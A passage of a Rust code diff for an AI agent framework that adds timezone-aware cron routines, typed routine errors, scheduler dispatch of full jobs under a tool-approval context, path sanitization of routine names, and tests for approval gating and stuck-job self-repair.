max_iterations = config .get("max_iterations") .and_then(|v| v.as_u64()) .unwrap_or(default_max_iterations() as u64) as u32; + let tool_permissions = parse_tool_permissions(&config); Ok(RoutineAction::FullJob { title, description, max_iterations, + tool_permissions, }) } - other => Err(format!("unknown action type: {other}")), + other => Err(RoutineError::UnknownActionType { + action_type: other.to_string(), + }), } } @@ -255,10 +317,12 @@ impl RoutineAction { title, description, max_iterations, + tool_permissions, } => serde_json::json!({ "title": title, "description": description, "max_iterations": max_iterations, + "tool_permissions": tool_permissions, }), } } @@ -334,14 +398,16 @@ impl std::fmt::Display for RunStatus { } impl FromStr for RunStatus { - type Err = String; + type Err = RoutineError; fn from_str(s: &str) -> Result { match s { "running" => Ok(RunStatus::Running), "ok" => Ok(RunStatus::Ok), "attention" => Ok(RunStatus::Attention), "failed" => Ok(RunStatus::Failed), - other => Err(format!("unknown run status: {other}")), + other => Err(RoutineError::UnknownRunStatus { + status: other.to_string(), + }), } } } @@ -370,10 +436,25 @@ pub fn content_hash(content: &str) -> u64 { } /// Parse a cron expression and compute the next fire time from now. -pub fn next_cron_fire(schedule: &str) -> Result>, String> { +/// +/// When `timezone` is provided and valid, the schedule is evaluated in that +/// timezone and the result is converted back to UTC. Otherwise UTC is used. +pub fn next_cron_fire( + schedule: &str, + timezone: Option<&str>, +) -> Result>, RoutineError> { let cron_schedule = - cron::Schedule::from_str(schedule).map_err(|e| format!("invalid cron: {e}"))?; - Ok(cron_schedule.upcoming(Utc).next()) + cron::Schedule::from_str(schedule).map_err(|e| RoutineError::InvalidCron { + reason: e.to_string(), + })?; + if let Some(tz) = timezone.and_then(crate::timezone::parse_timezone) { + Ok(cron_schedule + .upcoming(tz) + .next() + .map(|dt| dt.with_timezone(&Utc))) + } else { + Ok(cron_schedule.upcoming(Utc).next()) + } } #[cfg(test)] @@ -386,10 +467,11 @@ mod tests { fn test_trigger_roundtrip() { let trigger = Trigger::Cron { schedule: "0 9 * * MON-FRI".to_string(), + timezone: None, }; let json = trigger.to_config_json(); let parsed = Trigger::from_db("cron", json).expect("parse cron"); - assert!(matches!(parsed, Trigger::Cron { schedule } if schedule == "0 9 * * MON-FRI")); + assert!(matches!(parsed, Trigger::Cron { schedule, .. } if schedule == "0 9 * * MON-FRI")); } #[test] @@ -425,12 +507,13 @@ mod tests { title: "Deploy review".to_string(), description: "Review and deploy pending changes".to_string(), max_iterations: 5, + tool_permissions: vec!["shell".to_string()], }; let json = action.to_config_json(); let parsed = RoutineAction::from_db("full_job", json).expect("parse full_job"); assert!( - matches!(parsed, RoutineAction::FullJob { title, max_iterations, .. } - if title == "Deploy review" && max_iterations == 5) + matches!(parsed, RoutineAction::FullJob { title, max_iterations, tool_permissions, .. } + if title == "Deploy review" && max_iterations == 5 && tool_permissions == vec!["shell".to_string()]) ); } @@ -461,16 +544,58 @@ mod tests { #[test] fn test_next_cron_fire_valid() { // Every minute should always have a next fire - let next = next_cron_fire("* * * * * *").expect("valid cron"); + let next = next_cron_fire("* * * * * *", None).expect("valid cron"); assert!(next.is_some()); } #[test] fn test_next_cron_fire_invalid() { - let result = next_cron_fire("not a cron"); + let result = next_cron_fire("not a cron", None); assert!(result.is_err()); } + #[test] + fn test_trigger_cron_timezone_roundtrip() { + let trigger = Trigger::Cron { + schedule: "0 9 * * MON-FRI".to_string(), + timezone: Some("America/New_York".to_string()), + }; + let json = trigger.to_config_json(); + let parsed = Trigger::from_db("cron", json).expect("parse cron"); + assert!(matches!(parsed, Trigger::Cron { schedule, timezone } + if schedule == "0 9 * * MON-FRI" + && timezone.as_deref() == Some("America/New_York"))); + } + + #[test] + fn test_trigger_cron_no_timezone_backward_compat() { + let json = serde_json::json!({"schedule": "0 9 * * *"}); + let parsed = Trigger::from_db("cron", json).expect("parse cron"); + assert!(matches!(parsed, Trigger::Cron { timezone, .. } if timezone.is_none())); + } + + #[test] + fn test_trigger_cron_invalid_timezone_coerced_to_none() { + let json = serde_json::json!({"schedule": "0 9 * * *", "timezone": "Fake/Zone"}); + let parsed = Trigger::from_db("cron", json).expect("parse cron"); + assert!( + matches!(parsed, Trigger::Cron { timezone, .. } if timezone.is_none()), + "invalid timezone should be coerced to None" + ); + } + + #[test] + fn test_next_cron_fire_with_timezone() { + let next_utc = next_cron_fire("0 0 9 * * * *", None) + .expect("valid cron") + .expect("has next"); + let next_est = next_cron_fire("0 0 9 * * * *", Some("America/New_York")) + .expect("valid cron") + .expect("has next"); + // EST is UTC-5 (or EDT UTC-4), so the UTC result should differ + assert_ne!(next_utc, next_est, "timezone should shift the fire time"); + } + #[test] fn test_guardrails_default() { let g = RoutineGuardrails::default(); @@ -483,7 +608,8 @@ mod tests { fn test_trigger_type_tag() { assert_eq!( Trigger::Cron { - schedule: String::new() + schedule: String::new(), + timezone: None, } .type_tag(), "cron" diff --git a/src/agent/routine_engine.rs b/src/agent/routine_engine.rs index 52156ac5..5ae18dd3 100644 --- a/src/agent/routine_engine.rs +++ b/src/agent/routine_engine.rs @@ -19,13 +19,16 @@ use regex::Regex; use tokio::sync::{RwLock, mpsc}; use uuid::Uuid; +use crate::agent::Scheduler; use crate::agent::routine::{ NotifyConfig, Routine, RoutineAction, RoutineRun, RunStatus, Trigger, next_cron_fire, }; use crate::channels::{IncomingMessage, OutgoingResponse}; use crate::config::RoutineConfig; use crate::db::Database; +use crate::error::RoutineError; use crate::llm::{ChatMessage, CompletionRequest, FinishReason, LlmProvider}; +use crate::tools::ApprovalContext; use crate::workspace::Workspace; /// The routine execution engine. @@ -40,6 +43,8 @@ pub struct RoutineEngine { running_count: Arc, /// Compiled event regex cache: routine_id -> compiled regex. event_cache: Arc>>, + /// Scheduler for dispatching jobs (FullJob mode). + scheduler: Option>, } impl RoutineEngine { @@ -49,6 +54,7 @@ impl RoutineEngine { llm: Arc, workspace: Arc, notify_tx: mpsc::Sender, + scheduler: Option>, ) -> Self { Self { config, @@ -58,6 +64,7 @@ impl RoutineEngine { notify_tx, running_count: Arc::new(AtomicUsize::new(0)), event_cache: Arc::new(RwLock::new(Vec::new())), + scheduler, } } @@ -163,7 +170,7 @@ impl RoutineEngine { continue; } - let detail = if let Trigger::Cron { ref schedule } = routine.trigger { + let detail = if let Trigger::Cron { ref schedule, .. } = routine.trigger { Some(schedule.clone()) } else { None @@ -174,23 +181,40 @@ impl RoutineEngine { } /// Fire a routine manually (from tool call or CLI). - pub async fn fire_manual(&self, routine_id: Uuid) -> Result { + /// + /// Bypasses cooldown checks (those only apply to cron/event triggers). + /// Still enforces enabled check and concurrent run limit. + pub async fn fire_manual( + &self, + routine_id: Uuid, + user_id: Option<&str>, + ) -> Result { let routine = self .store .get_routine(routine_id) .await - .map_err(|e| format!("DB error: {e}"))? - .ok_or_else(|| format!("routine {routine_id} not found"))?; + .map_err(|e| RoutineError::Database { + reason: e.to_string(), + })? + .ok_or(RoutineError::NotFound { id: routine_id })?; + + // Enforce ownership when a user_id is provided (gateway calls). + if let Some(uid) = user_id + && routine.user_id != uid + { + return Err(RoutineError::NotAuthorized { id: routine_id }); + } if !routine.enabled { - return Err(format!("routine '{}' is disabled", routine.name)); + return Err(RoutineError::Disabled { + name: routine.name.clone(), + }); } if !self.check_concurrent(&routine).await { - return Err(format!( - "routine '{}' already at max concurrent runs", - routine.name - )); + return Err(RoutineError::MaxConcurrent { + name: routine.name.clone(), + }); } let run_id = Uuid::new_v4(); @@ -209,7 +233,9 @@ impl RoutineEngine { }; if let Err(e) = self.store.create_routine_run(&run).await { - return Err(format!("failed to create run record: {e}")); + return Err(RoutineError::Database { + reason: format!("failed to create run record: {e}"), + }); } // Execute inline for manual triggers (caller wants to wait) @@ -219,7 +245,7 @@ impl RoutineEngine { workspace: self.workspace.clone(), notify_tx: self.notify_tx.clone(), running_count: self.running_count.clone(), - max_lightweight_tokens: self.config.max_lightweight_tokens, + scheduler: self.scheduler.clone(), }; tokio::spawn(async move { @@ -251,7 +277,7 @@ impl RoutineEngine { workspace: self.workspace.clone(), notify_tx: self.notify_tx.clone(), running_count: self.running_count.clone(), - max_lightweight_tokens: self.config.max_lightweight_tokens, + scheduler: self.scheduler.clone(), }; // Record the run in DB, then spawn execution @@ -298,7 +324,7 @@ struct EngineContext { workspace: Arc, notify_tx: mpsc::Sender, running_count: Arc, - max_lightweight_tokens: u32, + scheduler: Option>, } /// Execute a routine run. Handles both lightweight and full_job modes. @@ -312,14 +338,22 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun) context_paths, max_tokens, } => execute_lightweight(&ctx, &routine, prompt, context_paths, *max_tokens).await, - RoutineAction::FullJob { description, .. } => { - // Full job mode: for now, execute as lightweight with the description - // as prompt. Full scheduler integration will come as a follow-up. - tracing::info!( - routine = %routine.name, - "FullJob mode executing as lightweight (scheduler integration pending)" - ); - execute_lightweight(&ctx, &routine, description, &[], ctx.max_lightweight_tokens).await + RoutineAction::FullJob { + title, + description, + max_iterations, + tool_permissions, + } => { + execute_full_job( + &ctx, + &routine, + &run, + title, + description, + *max_iterations, + tool_permissions, + ) + .await } }; @@ -331,7 +365,7 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun) Ok(execution) => execution, Err(e) => { tracing::error!(routine = %routine.name, "Execution failed: {}", e); - (RunStatus::Failed, Some(e), None) + (RunStatus::Failed, Some(e.to_string()), None) } }; @@ -346,8 +380,12 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun) // Update routine runtime state let now = Utc::now(); - let next_fire = if let Trigger::Cron { ref schedule } = routine.trigger { - next_cron_fire(schedule).unwrap_or(None) + let next_fire = if let Trigger::Cron { + ref schedule, + ref timezone, + } = routine.trigger + { + next_cron_fire(schedule, timezone.as_deref()).unwrap_or(None) } else { None }; @@ -373,6 +411,39 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun) tracing::error!(routine = %routine.name, "Failed to update runtime state: {}", e); } + // Persist routine result to its dedicated conversation thread + let thread_id = match ctx + .store + .get_or_create_routine_conversation(routine.id, &routine.name, &routine.user_id) + .await + { + Ok(conv_id) => { + tracing::debug!( + routine = %routine.name, + routine_id = %routine.id, + conversation_id = %conv_id, + "Resolved routine conversation thread" + ); + // Record the run result as a conversation message + let msg = match (&summary, status) { + (Some(s), _) => format!("[{}] {}: {}", run.trigger_type, status, s), + (None, _) => format!("[{}] {}", run.trigger_type, status), + }; + if let Err(e) = ctx + .store + .add_conversation_message(conv_id, "assistant", &msg) + .await + { + tracing::error!(routine = %routine.name, "Failed to persist routine message: {}", e); + } + Some(conv_id.to_string()) + } + Err(e) => { + tracing::error!(routine = %routine.name, "Failed to get routine conversation: {}", e); + None + } + }; + // Send notifications based on config send_notification( &ctx.notify_tx, @@ -380,10 +451,93 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun) &routine.name, status, summary.as_deref(), + thread_id.as_deref(), ) .await; } +/// Sanitize a routine name for use in workspace paths. +/// Only keeps alphanumeric, dash, and underscore characters; replaces everything else. +fn sanitize_routine_name(name: &str) -> String { + name.chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '-' || c == '_' { + c + } else { + '_' + } + }) + .collect() +} + +/// Execute a full-job routine by dispatching to the scheduler. +/// +/// Fire-and-forget: creates a job via `Scheduler::dispatch_job` (which handles +/// creation, metadata, persistence, and scheduling), links the routine run to +/// the job, and returns immediately. The job runs independently via the +/// existing Worker/Scheduler with full tool access. +async fn execute_full_job( + ctx: &EngineContext, + routine: &Routine, + run: &RoutineRun, + title: &str, + description: &str, + max_iterations: u32, + tool_permissions: &[String], +) -> Result<(RunStatus, Option, Option), RoutineError> { + let scheduler = ctx + .scheduler + .as_ref() + .ok_or_else(|| RoutineError::JobDispatchFailed { + reason: "scheduler not available".to_string(), + })?; + + let mut metadata = serde_json::json!({ "max_iterations": max_iterations }); + // Carry the routine's notify config in job metadata so the message tool + // can resolve channel/target per-job without global state mutation. + if let Some(channel) = &routine.notify.channel { + metadata["notify_channel"] = serde_json::json!(channel); + } + metadata["notify_user"] = serde_json::json!(&routine.notify.user); + + // Build approval context: UnlessAutoApproved tools are auto-approved for routines; + // Always tools require explicit listing in tool_permissions. + let approval_context = ApprovalContext::autonomous_with_tools(tool_permissions.iter().cloned()); + + let job_id = scheduler + .dispatch_job_with_context( + &routine.user_id, + title, + description, + Some(metadata), + approval_context, + ) + .await + .map_err(|e| RoutineError::JobDispatchFailed { + reason: format!("failed to dispatch job: {e}"), + })?; + + // Link the routine run to the dispatched job + if let Err(e) = ctx.store.link_routine_run_to_job(run.id, job_id).await { + tracing::error!( + routine = %routine.name, + "Failed to link run to job: {}", e + ); + } + + tracing::info!( + routine = %routine.name, + job_id = %job_id, + max_iterations = max_iterations, + "Dispatched full job for routine" + ); + + let summary = format!( + "Dispatched job {job_id} for full execution with tool access (max_iterations: {max_iterations})" + ); + Ok((RunStatus::Ok, Some(summary), None)) +} + /// Execute a lightweight routine (single LLM call). async fn execute_lightweight( ctx: &EngineContext, @@ -391,7 +545,7 @@ async fn execute_lightweight( prompt: &str, context_paths: &[String], max_tokens: u32, -) -> Result<(RunStatus, Option, Option), String> { +) -> Result<(RunStatus, Option, Option), RoutineError> { // Load context from workspace let mut context_parts = Vec::new(); for path in context_paths { @@ -408,8 +562,9 @@ async fn execute_lightweight( } } - // Load routine state from workspace - let state_path = format!("routines/{}/state.md", routine.name); + // Load routine state from workspace (name sanitized to prevent path traversal) + let safe_name = sanitize_routine_name(&routine.name); + let state_path = format!("routines/{safe_name}/state.md"); let state_content = match ctx.workspace.read(&state_path).await { Ok(doc) => Some(doc.content), Err(_) => None, @@ -469,7 +624,9 @@ async fn execute_lightweight( .llm .complete(request) .await - .map_err(|e| format!("LLM call failed: {e}"))?; + .map_err(|e| RoutineError::LlmFailed { + reason: e.to_string(), + })?; let content = response.content.trim(); let tokens_used = Some((response.input_tokens + response.output_tokens) as i32); @@ -477,13 +634,9 @@ async fn execute_lightweight( // Empty content guard (same as heartbeat) if content.is_empty() { return if response.finish_reason == FinishReason::Length { - Err( - "LLM response truncated (finish_reason=length) with no content. \ - Model may have exhausted token budget on reasoning." - .to_string(), - ) + Err(RoutineError::TruncatedResponse) } else { - Err("LLM returned empty content.".to_string()) + Err(RoutineError::EmptyResponse) }; } @@ -502,6 +655,7 @@ async fn send_notification( routine_name: &str, status: RunStatus, summary: Option<&str>, + thread_id: Option<&str>, ) { let should_notify = match status { RunStatus::Ok => notify.on_success, @@ -528,11 +682,14 @@ async fn send_notification( let response = OutgoingResponse { content: message, - thread_id: None, + thread_id: thread_id.map(String::from), + attachments: Vec::new(), metadata: serde_json::json!({ "source": "routine", "routine_name": routine_name, "status": status.to_string(), + "notify_user": notify.user, + "notify_channel": notify.channel, }), }; diff --git a/src/agent/scheduler.rs b/src/agent/scheduler.rs index 23b9ea7c..99386d7f 100644 --- a/src/agent/scheduler.rs +++ b/src/agent/scheduler.rs @@ -10,6 +10,7 @@ use uuid::Uuid; use crate::agent::task::{Task, TaskContext, TaskOutput}; use crate::agent::worker::{Worker, WorkerDeps}; +use crate::channels::web::types::SseEvent; use crate::config::AgentConfig; use crate::context::{ContextManager, JobContext, JobState}; use crate::db::Database; @@ -17,7 +18,7 @@ use crate::error::{Error, JobError}; use crate::hooks::HookRegistry; use crate::llm::LlmProvider; use crate::safety::SafetyLayer; -use crate::tools::ToolRegistry; +use crate::tools::{ApprovalContext, ToolRegistry}; /// Message to send to a worker. #[derive(Debug)] @@ -28,6 +29,8 @@ pub enum WorkerMessage { Stop, /// Check health. Ping, + /// Inject a follow-up user message into the worker's reasoning context. + UserMessage(String), } /// Status of a scheduled job. @@ -51,6 +54,10 @@ pub struct Scheduler { tools: Arc, store: Option>, hooks: Arc, + /// SSE broadcast sender for live job event streaming. + sse_tx: Option>, + /// HTTP interceptor for trace recording/replay (propagated to workers). + http_interceptor: Option>, /// Running jobs (main LLM-driven jobs). jobs: Arc>>, /// Running sub-tasks (tool executions, background tasks). @@ -76,13 +83,116 @@ impl Scheduler { tools, store, hooks, + sse_tx: None, + http_interceptor: None, jobs: Arc::new(RwLock::new(HashMap::new())), subtasks: Arc::new(RwLock::new(HashMap::new())), } } + /// Set the SSE broadcast sender for live job event streaming. + pub fn set_sse_sender(&mut self, tx: tokio::sync::broadcast::Sender) { + self.sse_tx = Some(tx); + } + + /// Set the HTTP interceptor for trace recording/replay. + pub fn set_http_interceptor( + &mut self, + interceptor: Arc, + ) { + self.http_interceptor = Some(interceptor); + } + + /// Create, persist, and schedule a job in one shot. + /// + /// This is the preferred entry point for dispatching new jobs. It: + /// 1. Creates the job context via `ContextManager` + /// 2. Optionally applies metadata (e.g. `max_iterations`) + /// 3. Persists the job to the database (so FK references from + /// `job_actions` / `llm_calls` work immediately) + /// 4. Schedules the job for worker execution + /// + /// Returns the new job ID. + pub async fn dispatch_job( + &self, + user_id: &str, + title: &str, + description: &str, + metadata: Option, + ) -> Result { + self.dispatch_job_inner(user_id, title, description, metadata, None) + .await + } + + /// Dispatch a job with an explicit approval context for autonomous execution. + /// + /// Same as `dispatch_job`, but the worker will use the given `ApprovalContext` + /// to determine which tools are pre-approved (instead of blocking all non-`Never` tools). + pub async fn dispatch_job_with_context( + &self, + user_id: &str, + title: &str, + description: &str, + metadata: Option, + approval_context: ApprovalContext, + ) -> Result { + self.dispatch_job_inner( + user_id, + title, + description, + metadata, + Some(approval_context), + ) + .await + } + + /// Shared implementation for `dispatch_job` and `dispatch_job_with_context`. + async fn dispatch_job_inner( + &self, + user_id: &str, + title: &str, + description: &str, + metadata: Option, + approval_context: Option, + ) -> Result { + let job_id = self + .context_manager + .create_job_for_user(user_id, title, description) + .await?; + + // Apply metadata if provided + if let Some(meta) = metadata { + self.context_manager + .update_context(job_id, |ctx| { + ctx.metadata = meta; + }) + .await?; + } + + // Persist to DB before scheduling so the worker's FK references are valid + if let Some(ref store) = self.store { + let ctx = self.context_manager.get_context(job_id).await?; + store.save_job(&ctx).await.map_err(|e| JobError::Failed { + id: job_id, + reason: format!("failed to persist job: {e}"), + })?; + } + + self.schedule_with_context(job_id, approval_context).await?; + Ok(job_id) + } + /// Schedule a job for execution. pub async fn schedule(&self, job_id: Uuid) -> Result<(), JobError> { + self.schedule_with_context(job_id, None).await + } + + /// Schedule a job with an optional approval context. + async fn schedule_with_context( + &self, + job_id: Uuid, + approval_context: Option, + ) -> Result<(), JobError> { // Hold write lock for the entire check-insert sequence to prevent // TOCTOU races where two concurrent calls both pass the checks. { @@ -125,6 +235,9 @@ impl Scheduler { hooks: self.hooks.clone(), timeout: self.config.job_timeout, use_planning: self.config.use_planning, + sse_tx: self.sse_tx.clone(), + approval_context, + http_interceptor: self.http_interceptor.clone(), }; let worker = Worker::new(job_id, deps); @@ -136,7 +249,9 @@ impl Scheduler { }); // Start the worker - let _ = tx.send(WorkerMessage::Start).await; + if tx.send(WorkerMessage::Start).await.is_err() { + tracing::error!(job_id = %job_id, "Worker died before receiving Start message"); + } // Insert while still holding the write lock jobs.insert(job_id, ScheduledJob { handle, tx }); @@ -199,11 +314,14 @@ impl Scheduler { let context_manager = self.context_manager.clone(); let safety = self.safety.clone(); + // TODO: propagate parent job's ApprovalContext here when subtasks + // are used in autonomous/routine paths (currently only used in tests). tokio::spawn(async move { let result = Self::execute_tool_task( tools, context_manager, safety, + None, tool_parent_id, &tool_name, params, @@ -332,6 +450,7 @@ impl Scheduler { tools: Arc, context_manager: Arc, safety: Arc, + approval_context: Option, job_id: Uuid, tool_name: &str, params: serde_json::Value, @@ -355,7 +474,10 @@ impl Scheduler { .into()); } - if tool.requires_approval() { + let requirement = tool.requires_approval(¶ms); + let blocked = + ApprovalContext::is_blocked_or_default(&approval_context, tool_name, requirement); + if blocked { return Err(crate::error::ToolError::AuthRequired { name: tool_name.to_string(), } @@ -418,10 +540,16 @@ impl Scheduler { // Update job state self.context_manager .update_context(job_id, |ctx| { - let _ = ctx.transition_to( + if let Err(e) = ctx.transition_to( JobState::Cancelled, Some("Stopped by scheduler".to_string()), - ); + ) { + tracing::warn!( + job_id = %job_id, + error = %e, + "Failed to transition job to Cancelled state" + ); + } }) .await?; @@ -448,6 +576,26 @@ impl Scheduler { Ok(()) } + /// Send a follow-up user message to a running job. + /// + /// Returns `Ok(())` if the message was queued, `Err` if the job is not running. + pub async fn send_message(&self, job_id: Uuid, content: String) -> Result<(), JobError> { + // Clone the sender while holding the lock, then release before the + // async send to avoid blocking scheduler writes during backpressure. + let tx = { + let jobs = self.jobs.read().await; + let scheduled = jobs.get(&job_id).ok_or(JobError::NotFound { id: job_id })?; + scheduled.tx.clone() + }; + tx.send(WorkerMessage::UserMessage(content)) + .await + .map_err(|_| JobError::Failed { + id: job_id, + reason: "Worker channel closed".to_string(), + })?; + Ok(()) + } + /// Check if a job is running. pub async fn is_running(&self, job_id: Uuid) -> bool { self.jobs.read().await.contains_key(&job_id) @@ -533,6 +681,11 @@ impl Scheduler { #[cfg(test)] mod tests { + use super::*; + use crate::config::SafetyConfig; + use crate::safety::SafetyLayer; + use crate::tools::{ApprovalRequirement, Tool, ToolError, ToolOutput}; + #[test] fn test_scheduler_creation() { // Would need to mock dependencies for proper testing @@ -543,4 +696,202 @@ mod tests { // This test would need mock dependencies. // For now just verify the empty case doesn't panic. } + + /// A tool that returns `UnlessAutoApproved`. + struct SoftApprovalTool; + + #[async_trait::async_trait] + impl Tool for SoftApprovalTool { + fn name(&self) -> &str { + "soft_gate" + } + fn description(&self) -> &str { + "needs soft approval" + } + fn parameters_schema(&self) -> serde_json::Value { + serde_json::json!({"type": "object", "properties": {}}) + } + async fn execute( + &self, + _params: serde_json::Value, + _ctx: &JobContext, + ) -> Result { + Ok(ToolOutput::text( + "soft_ok", + std::time::Instant::now().elapsed(), + )) + } + fn requires_approval(&self, _params: &serde_json::Value) -> ApprovalRequirement { + ApprovalRequirement::UnlessAutoApproved + } + fn requires_sanitization(&self) -> bool { + false + } + } + + /// A tool that returns `Always`. + struct HardApprovalTool; + + #[async_trait::async_trait] + impl Tool for HardApprovalTool { + fn name(&self) -> &str { + "hard_gate" + } + fn description(&self) -> &str { + "needs hard approval" + } + fn parameters_schema(&self) -> serde_json::Value { + serde_json::json!({"type": "object", "properties": {}}) + } + async fn execute( + &self, + _params: serde_json::Value, + _ctx: &JobContext, + ) -> Result { + Ok(ToolOutput::text( + "hard_ok", + std::time::Instant::now().elapsed(), + )) + } + fn requires_approval(&self, _params: &serde_json::Value) -> ApprovalRequirement { + ApprovalRequirement::Always + } + fn requires_sanitization(&self) -> bool { + false + } + } + + async fn setup_tools_and_job() -> ( + Arc, + Arc, + Arc, + Uuid, + ) { + let registry = ToolRegistry::new(); + registry.register(Arc::new(SoftApprovalTool)).await; + registry.register(Arc::new(HardApprovalTool)).await; + + let cm = Arc::new(ContextManager::new(5)); + let job_id = cm.create_job("test", "approval test").await.unwrap(); + cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None)) + .await + .unwrap() + .unwrap(); + + let safety = Arc::new(SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + })); + + (Arc::new(registry), cm, safety, job_id) + } + + #[tokio::test] + async fn test_execute_tool_task_blocks_without_context() { + let (tools, cm, safety, job_id) = setup_tools_and_job().await; + + // Without approval context, UnlessAutoApproved is blocked + let result = Scheduler::execute_tool_task( + tools.clone(), + cm.clone(), + safety.clone(), + None, + job_id, + "soft_gate", + serde_json::json!({}), + ) + .await; + assert!( + result.is_err(), + "soft_gate should be blocked without context" + ); + + // Always is also blocked + let result = Scheduler::execute_tool_task( + tools, + cm, + safety, + None, + job_id, + "hard_gate", + serde_json::json!({}), + ) + .await; + assert!( + result.is_err(), + "hard_gate should be blocked without context" + ); + } + + #[tokio::test] + async fn test_execute_tool_task_autonomous_unblocks_soft() { + let (tools, cm, safety, job_id) = setup_tools_and_job().await; + + // Autonomous context auto-approves UnlessAutoApproved + let result = Scheduler::execute_tool_task( + tools.clone(), + cm.clone(), + safety.clone(), + Some(ApprovalContext::autonomous()), + job_id, + "soft_gate", + serde_json::json!({}), + ) + .await; + assert!( + result.is_ok(), + "soft_gate should pass with autonomous context" + ); + + // But still blocks Always + let result = Scheduler::execute_tool_task( + tools, + cm, + safety, + Some(ApprovalContext::autonomous()), + job_id, + "hard_gate", + serde_json::json!({}), + ) + .await; + assert!( + result.is_err(), + "hard_gate should still be blocked without explicit permission" + ); + } + + #[tokio::test] + async fn test_execute_tool_task_autonomous_with_permissions() { + let (tools, cm, safety, job_id) = setup_tools_and_job().await; + + // Autonomous context with explicit permission for hard_gate + let ctx = ApprovalContext::autonomous_with_tools(["hard_gate".to_string()]); + + let result = Scheduler::execute_tool_task( + tools.clone(), + cm.clone(), + safety.clone(), + Some(ctx.clone()), + job_id, + "soft_gate", + serde_json::json!({}), + ) + .await; + assert!(result.is_ok(), "soft_gate should pass"); + + let result = Scheduler::execute_tool_task( + tools, + cm, + safety, + Some(ctx), + job_id, + "hard_gate", + serde_json::json!({}), + ) + .await; + assert!( + result.is_ok(), + "hard_gate should pass with explicit permission" + ); + } } diff --git a/src/agent/self_repair.rs b/src/agent/self_repair.rs index ee7b2a4c..5ac8e8aa 100644 --- a/src/agent/self_repair.rs +++ b/src/agent/self_repair.rs @@ -66,12 +66,14 @@ pub trait SelfRepair: Send + Sync { /// Default self-repair implementation. pub struct DefaultSelfRepair { context_manager: Arc, - #[allow(dead_code)] // Will be used for time-based stuck detection + // TODO: use for time-based stuck detection (currently only max_repair_attempts is checked) + #[allow(dead_code)] stuck_threshold: Duration, max_repair_attempts: u32, store: Option>, builder: Option>, - #[allow(dead_code)] // Will be used for tool hot-reload after repair + // TODO: use for tool hot-reload after repair + #[allow(dead_code)] tools: Option>, } @@ -93,15 +95,15 @@ impl DefaultSelfRepair { } /// Add a Store for tool failure tracking. - #[allow(dead_code)] // Public API for configuring repair with persistence - pub fn with_store(mut self, store: Arc) -> Self { + #[allow(dead_code)] // TODO: wire up in main.rs when persistence is needed + pub(crate) fn with_store(mut self, store: Arc) -> Self { self.store = Some(store); self } /// Add a Builder and ToolRegistry for automatic tool repair. - #[allow(dead_code)] // Public API for enabling automatic tool repair - pub fn with_builder( + #[allow(dead_code)] // TODO: wire up in main.rs when auto-repair is needed + pub(crate) fn with_builder( mut self, builder: Arc, tools: Arc, @@ -385,4 +387,134 @@ mod tests { }; assert!(matches!(manual, RepairResult::ManualRequired { .. })); } + + // === QA Plan - Self-repair stuck job tests === + + #[tokio::test] + async fn detect_no_stuck_jobs_when_all_healthy() { + let cm = Arc::new(ContextManager::new(10)); + + // Create a job and leave it Pending (not stuck). + cm.create_job("Job 1", "desc").await.unwrap(); + + let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3); + let stuck = repair.detect_stuck_jobs().await; + assert!(stuck.is_empty()); + } + + #[tokio::test] + async fn detect_stuck_job_finds_stuck_state() { + let cm = Arc::new(ContextManager::new(10)); + let job_id = cm.create_job("Stuck job", "desc").await.unwrap(); + + // Transition to InProgress, then to Stuck. + cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None)) + .await + .unwrap() + .unwrap(); + cm.update_context(job_id, |ctx| { + ctx.transition_to(JobState::Stuck, Some("timed out".to_string())) + }) + .await + .unwrap() + .unwrap(); + + let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3); + let stuck = repair.detect_stuck_jobs().await; + assert_eq!(stuck.len(), 1); + assert_eq!(stuck[0].job_id, job_id); + } + + #[tokio::test] + async fn repair_stuck_job_succeeds_within_limit() { + let cm = Arc::new(ContextManager::new(10)); + let job_id = cm.create_job("Repairable", "desc").await.unwrap(); + + // Move to InProgress -> Stuck. + cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None)) + .await + .unwrap() + .unwrap(); + cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None)) + .await + .unwrap() + .unwrap(); + + let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3); + + let stuck_job = StuckJob { + job_id, + last_activity: Utc::now(), + stuck_duration: Duration::from_secs(120), + last_error: None, + repair_attempts: 0, + }; + + let result = repair.repair_stuck_job(&stuck_job).await.unwrap(); + assert!( + matches!(result, RepairResult::Success { .. }), + "Expected Success, got: {:?}", + result + ); + + // Job should be back to InProgress after recovery. + let ctx = cm.get_context(job_id).await.unwrap(); + assert_eq!(ctx.state, JobState::InProgress); + } + + #[tokio::test] + async fn repair_stuck_job_returns_manual_when_limit_exceeded() { + let cm = Arc::new(ContextManager::new(10)); + let job_id = cm.create_job("Unrepairable", "desc").await.unwrap(); + + let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2); + + let stuck_job = StuckJob { + job_id, + last_activity: Utc::now(), + stuck_duration: Duration::from_secs(300), + last_error: Some("persistent failure".to_string()), + repair_attempts: 2, // == max + }; + + let result = repair.repair_stuck_job(&stuck_job).await.unwrap(); + assert!( + matches!(result, RepairResult::ManualRequired { .. }), + "Expected ManualRequired, got: {:?}", + result + ); + } + + #[tokio::test] + async fn detect_broken_tools_returns_empty_without_store() { + let cm = Arc::new(ContextManager::new(10)); + let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3); + + // No store configured, should return empty. + let broken = repair.detect_broken_tools().await; + assert!(broken.is_empty()); + } + + #[tokio::test] + async fn repair_broken_tool_returns_manual_without_builder() { + let cm = Arc::new(ContextManager::new(10)); + let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3); + + let broken = BrokenTool { + name: "test-tool".to_string(), + failure_count: 10, + last_error: Some("crash".to_string()), + first_failure: Utc::now(), + last_failure: Utc::now(), + last_build_result: None, + repair_attempts: 0, + }; + + let result = 